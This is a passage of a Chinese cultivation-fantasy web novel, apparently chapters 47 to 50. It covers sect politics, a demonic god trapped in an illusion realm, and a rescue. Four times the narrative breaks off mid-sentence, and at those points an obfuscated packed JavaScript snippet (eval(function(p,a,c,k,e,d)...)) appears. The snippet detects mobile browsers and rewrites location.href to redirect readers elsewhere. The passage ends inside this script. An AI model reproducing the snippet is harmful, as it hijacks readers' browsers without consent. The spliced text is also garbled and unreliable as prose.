两人带着齐长老前往北林,一路杀了七八头凶兽,穿过林子,到了一处草木不生的荒芜地带,林木儿扔了个符阵护住自己和林桐桐,而那齐长老,竟直直朝着那直冒阴森黑气的地坑走去。 然后,随着一声惨叫,齐长老消失在地坑,林木儿林桐桐御起法宝向林子外狂飞。 画面至此结束。 苏三枝目瞪口呆:“他不是很厉害么?怎么直直就冲那坑里去了?” 林河嘁了一声:“他一进林子,就被林木儿拍了张幻境符,虽然修为高过林木儿,但他毫无防备之下,还是中了招。” “可他还砍了好几头凶兽呢。”孙遇仙也没太看明白。 “幻境半真半假,在他眼里,定是看不到地坑,觉得自己仍在林子里,有凶兽出现,他追上去砍,然后就这样了。” “歹毒。”苏三枝评价,“那林木儿究竟想做什么?我看她这几天已经扔下去好几个了,都是直接绑了扔了,不像这次,费尽心机去骗。” “你没觉得那坑眼熟?”苏一枝问。 “她在被扔进地坑前已经昏死过去,我便收了幻境。”回答的是林河。 他其实有些不爽,苏一枝所有家人,没有一个能撑到底,所以也没有一个人能完全体会到她曾经所受的苦。 “你是说?”苏三枝看着两人,“你是说,当初你就是被扔进了这个坑里?” “林木儿是个疯子,她好奇为什么当初我被扔进坑里还能活着,觉得地坑里一定有什么秘密,所以她拿一条又一条人命去试。” 地坑底下一定有秘密。 林木儿坚信这一点。 这段日子以来,她往里头扔了足有百余人,可惜,毫无反应。 她狠了狠心,把青木宗修为最高的齐长老给骗了进去。 那是当初跟父亲关系最好的长老,可现在,他为林渊所用。 所以死不足惜。 第二日,齐长老的元神出现在了沼泽深处,并向青木宗发出了求救信号。 青木宗举宗震惊,继而也惊动了离火宗和白金宗。 在灵气稀薄的灵岳大陆,出窍期长老是相当宝贵的存在,更何况,那齐长老表面上是林潭的人,其实一直支持林渊。 这不难理解,谁不希望自己的宗主是个强者呢? 林潭总觉得自己只要搞好关系,就能笼络人心,但修真界普遍慕强。 收到齐长老求救信号后,林渊甚至等不及离火宗和白金宗的支援,立刻就带人奔赴沼泽。 然而沼泽深处又岂是随意就能进入的,更何况,还是在沼泽北部。 林渊一行为勉强行进到沼泽大概500里处,齐长老的魂灯熄灭了。 死前影像通过魂灯传回来,画面极其短暂,晃动而又零乱,只来得及看到一位黑衣黑脸的人影一闪而过。 是黑水邪神。 林渊紧急撤回了青木宗,他再器重齐长老,也不能白白送了性命。 三大宗门齐聚青木宗。 “秦炎,你怎么看?”林渊问。 “齐长老失踪前,有什么异常吗?接触过哪些人?这些有没有问清楚?” 林渊摇头:“弟子们最后看到他,是他进了符箓室,他炼符时不喜有人打扰,所以之后发生了什么,无人知晓。” “这次失踪的弟子集中在青木宗和离火宗,如果是黑水邪神所为,为何偏偏跳过了白金宗?会不会只是凑巧,并不是黑水邪神?”秦炎皱眉。 林渊坚持:“齐长老魂灯明明白白显示,最后吞噬他元神的,就是黑水邪神。” “你们两派是不是做过什么事,得罪了黑水门的邪神?”钟刚开口。 “若不是前些日子他跑到丹药峰留字,大部分人都不知道黑水门竟有这样一位厉害的邪神,谈何得罪。”说到这里秦炎眉头皱得更紧,他想起了一些不愉快的事,可又不方便说。 他看向坐在身边的林木儿,林木儿回望他一眼,扯起嘴角笑了一下。 余芷也看向林木儿,两大宗门有没有人得罪过黑水邪神,她不知道,但她知道,林木儿向邪神许过愿,用50年寿命,换了一次怀孕的机会。 会是林木儿因林潭的死怀恨在心,勾结了黑水邪神,对大家下手吗? “木儿怎么看?”余芷问。 “我怎么看?”林木儿似笑非 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14278012|146720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑,“婶婶好奇怪,怎么突然让我出这个头。哦,婶婶才当宗主夫人不久,不太了解三大宗门议事的规矩也很正常,毕竟以前议事时,青木宗都没有宗主夫人。” “木儿。”秦炎没什么表情,但语气却让人很有压力。 林木儿不受影响,继续道:“如果非要让我说自己的看法,我坚持认为苏一枝跟黑水门有勾结。婶婶你这样看我做什么?不会以为,我向黑水邪神许了个愿,就跟他有什么关联了吧?整个黑水门,向邪神许愿的,多了去了,难道都有资格跟邪神勾结?我要是真跟黑水邪神有勾结,至于对那苏一枝束手无策?拿杀我父兄的孙喜男毫无办法?” “你说的有道理,是我多心了。”余芷坦然承认,“对不住。” “你们对黑水邪神了解多少?他是一个人,还是一个神?”钟刚纳闷,“真的什么愿望都能实现吗?死而复生这种也可以?” “人死了就是死了,如何复生,你也该早些走出来才对。”秦炎说,“关于黑水邪神,我翻了很多典籍,对他也有了基本的了解。既然食人间香火,可以帮人实现心愿,自然是神,但,又不完全是神。” “什么意思?” “万年前,这片大陆接近飞升的,并不只有灵女一人。几乎在灵女飞升的同一时间,黑水门的老祖也飞升了。但那时大家都被灵女吸引了全部目光,无人在意他。糟糕的是,灵女遭遇围攻,一怒之下吸光大陆灵气,直接导致这位老祖飞升失败,被迫留在下界。随着大陆灵气下降,他维持神力愈发艰难,便想出一个办法,让门人为自己修庙供奉,吸食香火以保长生,而他自己则隐藏起来,毕竟作为一个神,要保持神秘感。起初庙宇只设在黑水门老祖殿,因为比较灵验,逐渐发展到遍地都是。而随着人们欲望越来越大,老祖收取的东西也越来越多,到最后竟需要以寿命献祭,慢慢地,就从黑水神庙,变成了黑水邪神庙。” 黑水邪神竟是万年前的人,所有人都呆了。 飞升之人,若与他们为敌,他们又如何应对? “强敌当前,我们不但毫无对策,就连修为,也几乎陷入停滞,真是天要亡我宗门啊!”林渊仰天长叹。 “前些日子,师宇兄出了关,他研究很久,依然无法解决修炼速度这个问题。”秦炎说。 “所以还得靠那苏一枝?”钟刚脸色发青。 “如果想提升修炼速度的话,是。” “那就继续去请苏一枝,”林渊道,“我不像你们,年轻,我今年已经68了,耽搁不起。” “叔叔真是好笑,也不想想,大家修为之所以停滞不前,不正是因为那苏一枝吗?怎么?吃一次亏还嫌不够?” “事情总有轻重缓急,”林渊语重心长,“木儿,我知你因父兄之死心有委屈,你放心,该报的仇,我会报的。先跟苏一枝建立合作关系,之后再找那孙喜男,还是多难的事不成?” 林木儿正要开口,腰间突然传来振动,她脸上阴郁之色更重,起身跟众人打了个招呼,走出大殿,打开那道传讯符。 那三个姓赵的孩子,被人救走了。 48. 第 48 章 赵延有个徒弟,叫顾强,今年35岁,金丹中期。 前些日子,赵轻舟赵乘风传信回来,说是赵延被苏一枝捉了,让他将消息扩散开来,以求林木儿不要因为赵延没有及时将孙喜男带回而对几个孩子下手。 顾强照做了。 他以为,接下来的剧情会是,宗主施压让林木儿放了几个孩子,然后带人去救回师父,捉回师母。 可没想到事情竟不了了之。 他还看到那天赵轻舟赵乘风带着许萱回来了,三人鬼鬼崇崇回来,没多久又鬼鬼崇崇离开。 第二天,他看到刑法堂里,写有师父名字的木制名牌,消失了。 这代表师父死了,可是除了他们几个亲信,青木宗无人在意。 他发传讯符问赵轻舟,究竟怎么回事。 赵轻舟说,青木宗不会管他们了,他们去北方,找人来救孩子,并拜托顾强,帮他照看着点。 青木宗的地牢,本是赵延地盘,可问题是,赵延之前一向听命于林木儿,所以,也是林木儿地盘。 等到林潭父子身亡,青木宗换了主人,地牢的那批人,有的成了林渊的,有的依然是林木儿的。 属于赵延的,已经不多了。 顾强表面上是属于林木儿的。 这日白金宗离火宗来人商议要事,林木儿也去了,地牢恰巧是顾强和一个叫林业的值守。 机不可失,时不再来,顾强找了个借口支开林业,带着三个孩子,就踏上了逃亡之路。 地牢在青木宗东南角,想要往北,得穿过整个青木宗,顾强不敢冒这个险,他选择了往西,穿过大明城,绕过离火宗,从白金宗的地界再往北走。 这确实是比较安全的路线,因为离火宗和白金宗的人根本不会注意这几个孩子,也没人认识他。 只要在白云城多买些补给,然后从矿山山脉一路往北,越过北矿山,游过黑湖,就到了北方最大城市乌城。 赵轻舟说他们去北方找人,虽没明说,但顾强思来想去,除了黑水门,也没别的地方了。 他当然不敢轻易就带着孩子去黑水门送死,黑水门的邪术他还是知道的,所以他准备到在乌城停留,然后再联络赵轻舟赵乘风他们。 可顾强没能到达乌城,他死在了矿山山脉里。 白金宗南北各有一座巨大的矿山,人们称之为南矿和北矿,中间有起伏的山脉连接着两座高峰,山脉横垮南北,绵延万里,不但连接了南北矿,也隔绝了白金宗和沼泽。 顾强不知走了什么运,就在这山脉里,竟遇上了秘境开启。 秘境开启,天地间灵力震荡,所有修真人士皆有感应。 彼时苏一枝正呆在寂灭空间里,离她出来的时间还早,林河当机立断,知会了苏三枝一声,带着孙遇仙就赶往开启的秘境。 到达秘境入口处,就看到顾强怀里搂着个女孩,已然没了呼吸,身边两个孩子哇哇大哭。 “是许萱的孙子孙女。”孙遇仙说。 “你要救?” “我不想救,但……”但那几个孩子偶尔见到她,也会叫她大奶奶。 林河心念一转,说:“你把两个孩子带回去,我自己进秘境。” 孙遇仙犹豫片刻,同意了。 就在孙遇仙带着孩子离开,林河进入秘境不久,鱼跃带着几个黑水门弟子,气势汹汹赶到。 上古秘境开启,只要是修真之人,都能感应到,但其中反应最大的,当属黑水门。 因为他们中有人不仅感应到了秘境的开启,还同时收到了赵双儿身亡的消息。 赵轻舟当时就嚎了一声,差点昏死过去,鱼跃掐住他手腕,输了好一阵灵气,他才慢慢清醒平静下来。 “双儿的魂灯灭了。”他说。 当初母子三人从青木宗出走,又在白云城购买了大批补给,然后一路往北,靠着高价买来的法宝,竟也穿过了狐妖林,到达了荒山。 然而荒山太大了,即使赵轻舟赵乘风两人轮流驾驭飞行法宝,直到双双灵力耗尽,也没能飞出那片山。 三人精疲力尽,全靠丹药撑着,偏偏又遇到几头乱窜的凶兽,九死一生之际,鱼跃出现了。 他追逐凶兽至此,没想到竟然意外碰上三个人类。 多么可口的食物,鱼跃上前就准备吸光几人寿命。 没想到许萱却怯怯看着他,问他认不认识一位叫徐远的人。 这是几人进入黑水门地界后遇到的第一个人,许萱不想放过任何机会,当然要开口询问。 鱼跃整个人如遭雷击,周围一切刹那间失去了声音,时间仿佛静止,他嘴巴张了张,眼中闪过一丝茫然。 过了好一阵子,周遭声音才又慢慢进入鱼跃耳朵,他看着眼前个子小小上了年纪却依旧面容姣好的女人,问:“你刚才说什么?” “我想问,你有没有听过一个叫徐远的人,他人很聪明,长得也很好看,眼睛是细长的那种,但特别亮,皮肤很白,跟我差不多的年纪,个子很高。”许萱两腿发抖,却从鱼跃的反应中察觉到了某种希望,迅速把想说的话说完。 “你是他什么人?” “妻子。”许萱不顾身后两个儿子的诧异,坚持道,“我是他妻子。” “倒是确实听他说过,有个女人在青木宗。”鱼跃张开扇子,掩饰心中的震动,“可惜,你来晚了。” “我知道。”许萱泪流满面,“他是不是已经死了快12年了?” “没错。” 许萱瘫倒在地,泣不成声。 鱼跃皱眉:“既如此伤心,又为何这么久才来找他?” “我没有灵力,又被……又被那青木宗的人看管很严,如何来找。好在如今儿子们大了,才能带着我过来。就算这样,也差点没能活着走到这里。” 鱼跃抬头看向赵轻舟赵乘风,心道怪不得刚刚觉得有点面熟,只是,这两人长相比起大哥,那真是差远了。 大哥徐远的眼睛狭长而有神,仿佛一眼就能看透人心,而这两个侄子,眼睛却只剩下细长了,没什么神,个子也不如徐远高,看起来天赋更是一般。 但不管怎样,这是大哥留下的血脉,他必须得给照顾好了。 鱼跃将三人带回了黑水门,奉为上宾。 他也知道了徐远还有孙子孙女被林木儿关着,正准备下次林木儿来见他时,跟她好好说说,让她放人。 谁能想到中途竟出了这样的意外。 “看清是何人所害了吗?”他问。 “应是被秘境开启时的力量冲到,顾强扑过来抱着三个孩子滚落到一边,挡下了这一击,但,但双儿还是没了。”赵轻舟咬牙,“先前那林木儿就险些刺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14290263|146720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死双儿,当时双儿魂灯都暗了,过好久才又亮起来。定是因那旧伤,双儿才没挡得住这冲击。” “林木儿啊……”鱼跃摇着寒冰扇,“如今各大门派应该都赶去秘境了,宗门必然空虚,若是趁这个时机直捣他们老巢,倒是个不错的选择。” 赵轻舟扑通一声跪下:“求义父救救希来,还有依依。” 赵乘风也跪了下来:“求义父救救他们吧。” 鱼跃叹气,深深替自己死去的大哥感到悲哀:“他们现在,没在林木儿手里。你们只要动作快,赶在林木儿之前到那个秘境,就能直接把孩子带回来。算了算了,我先带你们去救人。” 带人赶到秘境一看,入口处空空荡荡,还没有人来。 无论三大宗门还是那些小门小派以及散修,想要闯秘境,总归要做一番准备的。 地上一大一小两具尸体,是顾强和赵双儿,赵希来跟赵依依不见了。 赵轻舟赵乘风又是两眼一黑,差点晕倒过去。 “门主,既然都到这儿了,我们要进秘境看看吗?”鱼跃身后一个黑衣男子问。 “派两个人去追踪孩子下落,其余人回去准备一下,我们把青木宗打了。” “我刚刚好像看到老祖进了秘境。” “所以你要跟随老祖?” “门主说笑了,鱼贵只是习惯看到什么就向门主报告一下。” “不必在意,不过是个分身而已。”鱼跃冷笑,觉得这位老祖真是双标得很。不让他触碰任何与献祭许愿有关的事,自己却随意来动他的东西,先是在沼泽里抢个出窍期元神,现在又来抢占秘境。 出窍期元神啊,多难得才碰到一次,大补,就那么被抢了。 他都大乘了,秘境里能有什么法宝是他需要的?偏要来抢。 既然他来了,那自己没必要再去掺和。 秘境内,林河被困在了幻境之中。 他不知怎的回到了4岁那年,拎着装了毒虫的瓶子,站在断墙外听养父母商量如何残害他,他绕到窗,打开瓶子,将毒虫放进屋内。 林河心想,这是在做梦吗? 如果是做梦,为何感觉如此真切? 时光飞逝,转眼到了7岁那年,他看到苏一枝从纸鸟上跌落在沼泽。 林河木着一张脸,救了苏一枝。 是在做梦,他想,这一切明明已经发生过了。 再然后苏一枝来的次数越来越少,直到再也不来。 林河等了一年,准备自己前去离火宗寻找时,余芷找到他,将他带回了青木宗。 之后林河瞅了个空,回到毒村,放了满屋毒虫,咬死了曾经的养父母。 再回到青木宗,正遇上三大宗门联合的新秀选拔,所有入门三年之内的弟子都可以参加,林河在新秀里看到了苏一枝。 他惊喜上前,说终于找到你了。 苏一枝却冷冷看着他,说:“原以为你身世可怜,没想到你小小年纪,心思竟如此歹毒,放毒虫咬死自己养父母。当初你养父瘫痪在床,也是你害的吧?” 像是一盆冷水当头浇下,林河一下子清醒过来。 他看了看四周,低矮的断墙,难闻的气味,屋内养父的咒骂,养母结结巴巴的抱怨唠叨。 原来是场梦,果然是场梦。 可还是有哪里不对。 49. 第 49 章 林河只是觉得不太对,却说不清到底不对在哪里。 他沿着那半堵土墙,将这个破败的家四周都看了一遍,没有异常,走进屋子,难闻的气味扑面而来,父亲扔过来一个破碗,母亲一头乱发,抬起头怨恨看着他。 一切都很正常。 林河又来到沼泽,万里沼泽上灰黑之气弥漫,现在不是虫期,所以看不到毒虫,倒是一些毒蚁和泥蛇到处乱窜。 他等了一会,沼泽里没有有什么异样,天空也没有掉下人来。 日子如常过了许久,有一天,余芷来了。 “没想到毒村里竟有这样一个天资不错的孩子,你叫什么?愿意跟我去仙门么?” “我有父母,他们未必会同意我去。” “你等着,我去跟他们说。” 哪有不同意的道理,余芷给了许多灵石丹药,养父母高兴还来不及,林河就这样被带到了青木宗。 他想了想,这次没有选择回去杀那对夫妻。 他在青木宗的地牢里看到了苏一枝。 他以前不知道地牢的机关要如何打开,所以也就没法救苏一枝,但他现在知道了。 为什么现在会知道? 他迷茫了片刻,倒也不想细究那么多,带着苏一枝,逃出了青木宗。 他们遇到了林木儿,苏一枝被林木儿杀了。 林河惊叫一声,清醒过来,看着身边爬来爬去的毒蚁毒虫,他竟在守毒虫的时候睡着了。 依然是梦。 林河已经不想再去看那对养父母,他每天机械地拎着瓶子去沼泽里蹲守,有时候守着守着,便会犯起困来。 以前不这样的,他想。 直到有一日,余芷来了,看到他,惊喜道:“没想到毒村里竟有这样一个天资不错的孩子,你叫什么?愿意跟我去仙门么?” 林河拔掉瓶塞,将里面的虫子全部扔到了余芷脸上。 余芷的脸瞬间四分五裂,整个人也如虚幻的影子般破碎。 林河看了看周围,清雅的房间,木质的家具,所有物品都是木制的。 是他在青木宗的住处。 他走出房间,想去灵植园看能不能采些灵植,路过假山的时候,听到不远处传来林明林暗的声音,他不想打招呼,也不想因为不打招呼而被告状,然后被余芷语重心长教导,便躲到了假山后。 “苏一枝那丫头真是尤物,身体残破成那样了,皮肤摸着还细腻得很。”是林明。 “你还摸了?”林暗的声音里含着让人不舒服的笑意。 “没敢多摸,爹看着呢。哎,我们要不要经常去思过崖看看啊,哈哈。” “就光看?” “有机会做点别的,也不是不行啊,那样算不算绿了秦炎?” “算个屁,秦炎要是真会娶她,你今天能有这机会?” 林河握紧了拳头,指甲深深陷入肉里。 他隐约记得之前好像也遇到过这样的情况,那时他给两人都下了药,让他们修为停滞,不能人道。 不够,远远不够,为什么要让他们多活那么些年呢? 林河这次换了一种药。 第二天,林明林暗死了。 林潭暴怒,着令严查。 一查,就将林河给查出来了。 林潭当场就要将林河打死,余芷拦着了,说是孩子还小,给个机会,关两年禁闭,要是仍不能改好,到时交给林潭处置。 林河被扔进地牢的丛棘里,失去了时间概念。 有一天,他又看到了苏一枝。 可他被丛棘所困,无能为力。 再然后,苏一枝消失了,他大叫着睁开眼,发现自己正托着觅魂珠站在沼泽里。 林河快疯了。 他已经分不清这究竟是梦还是现实,又或者,都不是,他只是陷入了一场幻觉。 邪神看着眼前的年轻人,有点拿不定主意。 他进这秘境只为一样东西,无尽秋。 秘境的主人他知道,叫秋红,极擅幻术,几近大乘,却因为一个男人,修为尽毁,临近殒落之际,将所有力量封存到本命法宝无尽秋之中,陷落于茫茫虚空,只待时机一到,秘境开启,无尽秋方可重见天日。 被无尽秋收入幻境的人,除非解开心结,否则会困在幻境中,一次又一次重演生命中那些困惑之事,真真假假难辨,直到疯掉,然后死亡。 当然,作为大能所化秘境,这里不光有幻境,还有各种关卡,每闯过一个关卡都会有相应奖励。 可那些低级法宝邪神都不感兴趣,他只想要无尽秋,便直奔秘境中心阵眼而来。 没想到有人竟先他一步。 而那人很明显,被幻境困住了。 幻境这种东西,在修真界很常见。 好像不管啥等级的秘境,里面都会有个幻境,但那些幻境同时可以容纳很多人,任何进入秘境的人都有可能会同时被幻境所困,不过只要心性坚定些,一般都能走出来。 而无尽秋所化的无尽幻境与别的幻境不同,它更像是一张极品幻境符,只要困住了,就很难出来。 只要破解了幻境,就可以获得无尽秋,秘境也会坍塌。 此时邪神有两个选择: 一,在这里等那个年轻人在幻境中走完疯疯癫癫的一声,然后进入秘境,解开心结,得到无尽秋。 二,以他的修为,全力一击,足以穿透幻境,攻击到那个年轻人,强行中断幻象。这样的话,年轻人就会被弹出,同时,他自己会被吸入幻境。 选择一,他不知道要耗时多久。 虽然眼下秘境里人还不多,到达这里的更是只有他们两个,但继续等下去,可就说不定了。 他并不想惹太多人注意。 选择二,因为在年轻人弹出的同时他就会被吸入,所以无法杀死年轻人,除非本体过来。 风险是,若分/身本体同时在外,耽搁太久,老祖殿无人坐守,可能会影响邪神庙的香火,于他不利。 邪神思忖着,耳边已经能听到秘境里各处的打斗声,不少修为高的已经一路扫荡过来,也许一盏茶之后,这里就会聚齐三大宗门的高层。 管不了那么多了,邪神周身黑气陡然蓬起,手心窜出黑色利箭,朝林河直射而去。 “砰!”灵气激荡下,周围空气全都扭曲变形。 林河面露痛苦之色,他历尽千辛万苦,终于找到苏一枝,一路陪她修炼,陪她复仇,最后她在面对围剿时,使出了那招艮为山,引发世人震惊。大家都说她是灵女转世,是这世界灵气稀薄的罪魁祸首,所有人都联合了起来,包括黑水门。 他想与她一起对抗这世界,可是他隐藏着的秘密暴露了,他失去了她的信任。 她抛弃了他,选择了与三大宗门和黑水门所有人同归于尽。 林河仰天嘶吼,却被迎面而来的一只黑色利箭射中。 胸口传来剧烈的疼痛,一阵天旋地转后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14300989|146720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他发现自己身处秘境中,眼前有个黑衣黑脸的男人,像是之前袭击苏一枝的邪神,正面露茫然,一步一步朝前走。 林河伸出手,他无法靠近也触碰不到那邪神。 他恍然,在他的意识里,就在刚刚,邪神分明已经死于苏一枝的元神自爆。 看着出现在自己身前摆出一副战斗姿态的三尾灵豹圆圆,林河忽然明白过来,刚刚所有一切,都是幻象,现在他出了幻境,而对面的邪神进去了。 可还没等他做出反应,一股几乎可以毁天灭地的强大力量碾压了过来。 邪神的本体来了。 林河刚出窍期,如何能挡得住大乘期大能的一击? 就算邪神在这灵力稀薄的世界里苟活万年,修为退化不少,又有圆圆分去了部分攻击,这一击,还是让林河口吐鲜血,五脏六腑都移了位,身子如断线风筝般直直飞了出去。 邪神根本不给林河反应的机会,第二击紧接着当头压下。 圆圆挣扎着,迎头顶上。 危急关头,灵兽会拼死护主,因为主人若死了,它们也活不成。 林河右手扯住圆圆,一把将它扔到身后,左手挥撒出一片毒雾,心想若老东西皮太厚,毒伤不了,他就自爆元神,把老东西一起带走,也省得给苏一枝留下后患。 邪神果然没有被毒影响,攻势不减,林河正欲自爆元神,就见一道白色身影急飞而至,挡在他身前,迎着邪神,战到了一起。 是苏一枝。 林河的心揪了起来。 苏一枝根本不是邪神对手! 果然,仿佛为了印证他的想法,邪神一击之下,苏一枝的身体便直飞出去,跌落在地,昏死过去。 他挣扎着站起身,往苏一枝身上扔了个护体法阵,然后一股脑将各种符朝邪神身上丢。 邪神虽然被毒雾攻击到,然而他修为深厚,毒发作得也就比较慢,他看着二人,缓缓抬起手。 天空突然失去颜色,黑云挟着千钧之势滚滚而来。 林河承受不住这威压,双腿都陷入地下,他艰难转过头,发现被护体法阵罩住的苏一枝竟然消失了。 眼见黑云要将他吞没,邪神五指又如鹰爪般直奔他天灵盖而来,林河准备趁还清醒,抓紧自爆元神带走这瘟神。 却见天空突然出现一座山丘,破开滚滚浓云,直往邪神头上压去。 与此同时,秘境里响起一阵铃声,摄魂夺魄,让人无法动弹。 那邪神不知是被这铃声所扰,还是毒性终于发作,动作变得缓慢,被山丘兜头砸下。 “真的是那妖女!”他说。 然后整个人消失不见。 苏一枝一把捞起林河,团团背起圆圆,消失在秘境。 而终于赶到现场的秦炎等人,看着一地狼籍,纷纷面露不解。 “刚才,是有座山飞过来了?”钟刚问,“山呢?” “是啊,山呢?”林渊说。 “我好像看到了苏一枝。”林木儿揉着太阳穴,刚才那铃声震得她到现在都神魂不稳,“好像还有人骂了一句话,可我没听清是什么。” “木儿侄女是否过于关注苏一枝,出现了幻觉?”林渊不悦。 秦炎没有说话,因为他也看到了苏一枝,远远地,他还看到邪神像是梦游一般,越走越远,直到消失不见。 而且那句话他也听清了,那人骂的是:“真的是那妖女!” 妖女? 苏一枝? 50. 第 50 章 苏一枝将林河带回洞天,丢在会客大厅,便直接钻进了寂灭空间。 孙遇仙跟苏三枝慌忙扑过来,一个去看林河,一个去看圆圆,掰开嘴就把丹药往里塞。 旁边一男一女两个小娃娃胆怯看着,不敢说话。 原来孙遇仙将赵希来赵依依带回洞天后,觉得不放心,就又偷偷跑回了秘境。 她看到了邪神,也看到了被困在幻境里的林河,情急之下,传讯给苏三枝,让她告诉苏一枝。 可苏一枝仍在寂灭空间里修炼。 苏三枝急得在苏一枝房间里拼命叫喊,四处跳脚,终于惊动了苏一枝,直接化了个分身出来问发生何事。 没等苏三枝说完,苏一枝分身已直奔秘境而去,片刻后,本体也出了空间。 幸好,一切都不算太晚。 林河醒来的时候,看着一脸忧心的孙遇仙,和躺在身边的圆圆,觉得时间仿佛过去了几辈子。 “她呢?”他问。 “进去修炼了,她应该在那里恢复得更快。不过,眼瞅着今天时间也差不多到了,估计快出来了吧。” 果然,不一会,苏一枝就被弹出了空间,出现在几人眼前。 “你,还好吗?”林河问。 “无妨,你怎么样?”苏一枝走到躺在地上虚弱哈气的圆圆身边,揉了揉它的脑袋。 圆圆吐了吐舌头,团团亲昵地将鼻尖凑过去,然后舔了舔它。 林河下意识摸摸自己头,说:“是我不好,擅自去秘境,连累了你,也害了圆圆。” “这怎么能怪你。秘境开启,每个修真之人都想抢得先机,若当时我知道,也会第一时间前去。”见林河情绪仍有些低落,苏一枝说,“况且,这趟也不是没有收获,那邪神自视甚高,以为自己定能走出幻境。也不想想他活了千年万年,积累了多少解不开的心结。” “他被困住了?”林河稍觉安慰,如果连邪神那样的老怪物都能被困住,那自己一时走不出来,也不算太蠢了。 “是的,已经在幻境扰乱下,走到秘境深处去了,甚至本体都无法将他召回。这种情况下,如果分身最后疯癫,本体心神也会受影响。估计好长一段时间,邪神都不会出来捣乱了,难道不算收获?不过,你在那幻境里,到底遇到了什么?” “也没什么。下次再进去,我有信心能走出来。” “姐,外面来了一大堆人。”苏三枝忽然跑来,面露惊慌。 三大宗门的首脑都来了。 秦炎一身紫衣站在最前面,身边是林木儿,后面站着林渊和钟刚。 林渊有些垂头丧气,从秘境得了两件宝贝,本来很高兴,谁知家竟然被偷了。 他一度怀疑,青木宗是否出了奸细,否则无法解释鱼跃是如何带人进入青木宗的。那鱼跃甚至在屠戮一番后,还留了张纸条,表明下次就是离火宗。 修真派三大宗门,混到如此地步,真是颜面无光。 秦炎觉得眼下丢不丢脸不重要,重要的是,如果他们修为再这么停滞不前,三大宗门依然存在,但当家的也许不会再是林秦钟三姓。 所谓的大宗门,本来就是靠占据资源优势而形成。 没了秦氏,离火宗只要有天坑之火,依旧是离火宗,即使短期分裂,最终为了利益,也会重聚到一起。 白金宗也一样,靠的不是钟家,而是矿脉。 青木宗难道是因为姓林的才存在?当然不是。即使姓林的死光了,那一片依然拥有全大陆灵气最充沛的灵植,就会聚集全天下最厉害的木灵根修真者。 现在,服用玄天鼎所炼丹药最多的,就是秦林钟三家,如果他们修为无法增长,别人赶上来是很快的事。 秦炎无法确定苏一枝究竟是不是刻意为之,但即使是故意,现在也没有办法,就算饮鸩止渴,他们也得再吃上苏一枝的药。 苏一枝走出法阵,看着眼前黑压压站成一片却颜色各异的人群。 白色金色的,是白金宗的,青色绿色的人明显少了许多,那是青木宗,深浅不一各种红色的,是离火宗。 她看向秦炎:“如果我不同意,你是要带这些人攻打我吗?” “究竟要怎么样,你才可以继续为离火宗炼药?只要你说,我们可以答应你任何条件。”秦炎揖手,他也觉得脸上甚是无光,可有什么办法,不为了自己,也得为身后这么多人。 “我要林木儿死。”苏一枝说,“就现在,杀了她,我就回离火宗,给你们炼一辈子的药。” “你!”林木儿抬头,“你不要欺人太甚!” 自从上次秘境之后,她一直在想,那邪神面对着苏一枝,到底喝了句什么呢? 她总感觉那句话很关键,却因当时并没有听得太清,怎么都想不起来。 青木宗被袭,她觉得无所谓,反正那也不是她的青木宗了。 可看到众人因为青木宗被袭,就一副非苏一枝不能挽救局面的样子,她心里沤到要吐血,知道劝阻无用,只能憋着一口气,跟来看他们如何自取其辱。 没想到苏一枝竟然还是不肯放过自己。 欺人太甚,林木儿脑子里只有这一个想法,苏一枝欺人太甚。 “这不可能,换一个。”秦炎说。 此刻在他看来,苏一枝有点像闹脾气的小女孩,因为受了委屈,就吵着闹着,提出一个个完全不合理的要求。 “所以你们对丹药的渴求,并没有那么强烈呀。钟宗主,你觉得怎么样?你夫人就是因为听信林木儿的馋言,才害死了自己,你也不愿意杀林木儿吗?” 钟刚坚毅的脸上眉峰微拧,却没有说话。 “看来钟宗主心里还是在怪我,只是迫于压力,才不得不随秦宗主一块儿来求我。” 钟刚依旧没有开口。 苏一枝将目光转向林渊:“林宗主想必就更不愿意了,毕竟,您是在林潭死后才当上宗主的,要是亲自动手杀了林木儿,别人还以为你斩草除根呢。” “你!”林渊黑了脸。 “可是林宗主难道不想为齐长老报仇吗?若是齐长老还在,说不定对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 